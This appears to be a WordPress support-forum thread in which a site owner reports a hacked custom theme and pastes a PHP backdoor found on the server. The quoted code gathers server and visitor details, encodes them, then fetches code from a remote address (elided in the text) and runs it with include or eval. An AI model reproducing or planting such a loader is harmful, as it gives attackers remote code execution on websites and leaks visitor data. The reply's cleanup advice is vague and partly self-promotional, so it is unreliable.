koydin

I found some base64 code on Wp-admin .. also some new file names. I deleted those files. But no code in the database. Is there any way i can find that..??

anyone.. Out there??? to help me out…

Its a customized theme. It was pointing to www.remarpro.com before hack. i searched through internet and found the hacker injected some .php file with this code

<? error_reporting(0);
$s="e";
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".". base64_encode($d).".". base64_encode($e).".". base64_encode($f).".". base64_encode($g).".". base64_encode($h).".$s.". base64_encode($i) .".". base64_encode($j);
if((include(base64_decode("...").base64_decode("...")."/?".$str)));
else if(include(base64_decode("...").base64_decode("...")."/?".$str));
else if($c=file_get_contents(base64_decode("...").$str))eval($c);
else{$cu=curl_init(base64_decode("...").$str);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$str=curl_exec($cu);
curl_close($cu);
eval($str);
}; ?>

I deleted all the files. But his Powered by WordPress link points to differrnt url instead of www.remarpro.com. I think the hacker injected something in the database.

any Updates..??

All you have to do is replace images/head.jpg on your theme directory. I also wrote details about that on my theme here https://www.bytetips.com/wordpress-theme-bytetips/